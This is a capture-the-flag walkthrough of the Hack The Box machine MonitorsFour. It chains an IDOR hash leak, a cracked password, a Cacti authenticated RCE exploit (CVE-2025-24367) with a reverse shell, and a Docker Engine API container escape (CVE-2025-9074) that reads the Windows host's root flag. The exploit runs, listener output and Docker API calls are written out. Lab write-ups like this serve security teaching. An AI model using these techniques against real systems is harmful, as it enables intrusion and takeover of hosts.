MonitorsFour is an easy-difficulty machine from Hack The Box dealing initially with an IDOR vulnerability on a hidden /api/v1/user endpoint that leaks the adminβs MD5 hash. After cracking it on Crackstation weβll use the recovered creds against a hidden cacti subdomain to exploit CVE-2025-24367 (Cacti authenticated RCE via graph permissions abuse) and land a shell as www-data inside a Cacti docker container. From there weβll discover an exposed Docker Engine API on 192.168.65.7:2375 (Windows Docker Desktop) and abuse CVE-2025-9074 to escape to the host by spawning a container with a C: drive bind-mount, reading root.txt straight off the Windows host filesystem.
MonitorsFour
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14
PORT STATE SERVICE VERSION 80/tcp open http nginx |_http-title: Did not follow redirect to http://monitorsfour.htb/ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
We can see we have port 80 running an nginx web server that redirects us to monitorsfour.htb (which we should add to our /etc/hosts), and 5985 open which is the WinRM management port β a strong hint that this is a Windows host even though the front-end app is served behind nginx.
Letβs run feroxbuster against the main app to see whatβs exposed:
A few interesting bits jump out: there are /views, /controllers directories (classic MVC project layout), a /login, a /forgot-password, and a suspicious /user endpoint returning only 35 bytes. The MonitorsThree machine also had a forgotten-password SQLi at this point, but as weβll see in the changelog later, that vector was patched on this box.
Classic IDOR β the token=0 value bypasses the check (the comparison was likely loose or the value 0 matched some default record), and id=2 dumps the adminβs full record including their MD5 password hash. Notice also that the name field says Marcus Higgins β keep this in mind, this is going to matter later.
Now letβs pivot to the cacti subdomain. CVE-2025-24367 is a vulnerability in Cacti that allows an authenticated user with graph permissions to write arbitrary PHP files to the webroot by abusing how Cacti handles user-controlled paths during graph template creation:
βββ(kaliγΏkali)-[~/CVE-2025-24367-Cacti-PoC] ββ$ python3 exploit.py -u admin -p wonderful1 -i 10.10.16.12 -l 9001 -url http://cacti.monitorsfour.htb [+] Cacti Instance Found! [+] Serving HTTP on port 80 [!] Login Failed :( [+] Stopped HTTP server on port 80 βββ(kaliγΏkali)-[~/CVE-2025-24367-Cacti-PoC] ββ$ python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.12 -l 9001 -url http://cacti.monitorsfour.htb [+] Cacti Instance Found! [+] Serving HTTP on port 80 [+] Login Successful! [+] Got graph ID: 226 [i] Created PHP filename: 01vvd.php [+] Got payload: /bash [i] Created PHP filename: Kqz6f.php [+] Hit timeout, looks good for shell, check your listener! [+] Stopped HTTP server on port 80
Notice the trick here: the login admin fails on Cacti, but marcus (with the same wonderful1 password) works. Looking back at the IDOR dump, the JSON had "name":"Marcus Higgins" while username was admin β meaning on the main app the user is called admin, but the Cacti backend uses the real underlying account name marcus. Without that hint we would have been stuck pounding the admin login forever.
Catching the shell:
1 2 3 4 5 6 7 8 9
$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.12] from (UNKNOWN) [10.129.48.147] 63444 bash: cannot set terminal process group (8): Inappropriate ioctl for device bash: no job control in this shell www-data@821fbd6a43fa:~/html/cacti$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@821fbd6a43fa:~/html/cacti$
Shell as www-data. And we get our user flag straight from /home/marcus:
Since we recovered admin:wonderful1 and that account exists on the main app too, letβs log into http://monitorsfour.htb with those credentials and look around. Heading to the admin changelog at http://monitorsfour.htb/admin/changelog we find:
1 2 3 4 5 6 7 8 9
##### Security Notice: SQL Injection Patch
May 1, 2025 V.1.6
A critical security issue in the forgotten password form was patched. The vulnerability allowed potential attackers to exploit error-based SQL injection. Input validation was implemented and SQL error messages was removed from error messages to prevent this attack vector.
|Change|Description| |---|---| |Security|Patched an error-based SQL injection vulnerability in the forgotten password form by enforcing secure prepared state stricter input validation.|
Cute β thatβs a winked reference to the SQLi from MonitorsThree being patched on this newer box. Not the path we want here.
Finding the Docker Engine API
Scanning around the containerβs internal network weβll discover that the hostβs Windows Docker Desktop instance is exposing the Docker Engine API on 192.168.65.7:2375 unauthenticated. This is the gateway address Docker Desktop uses on Windows to expose host services to containers, and CVE-2025-9074 is exactly this scenario β an SSRF/exposed-socket scenario where any container can talk to the hostβs Docker daemon and ask it to spawn new containers on the host:
The escape primitive is simple: ask the Docker API to create a new container with a bind-mount of the hostβs C: drive into the container, then start it with a reverse-shell command. Inside the new container weβll have read/write access to the entire Windows host filesystem.
curl -X POST -d '' http://192.168.65.7:2375/containers/$cid/start
We reuse the docker_setup-nginx-php:latest image thatβs already on the host (saves us a pull), set the command to a bash reverse shell pointing at our listener, and bind-mount /mnt/host/c (the hostβs C:\ as exposed by Docker Desktop) onto /host_root inside the new container. After hitting /containers/create we extract the container ID and start it.
On our listener:
1 2 3 4 5 6 7 8 9
$ rlwrap nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.12] from (UNKNOWN) [10.129.48.147] 63449 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@4f53600332a6:/var/www/html# cat /host_root/Users/Administrator/Desktop/root.txt <cat /host_root/Users/Administrator/Desktop/root.txt 211dc17f80513267ff21d0a5c6ff80a5
And there it is β we read root.txt straight off the Windows Administratorβs Desktop through the bind-mount. Game over.
And that was it for MonitorsFour! Hope you learned something new! -0xkujen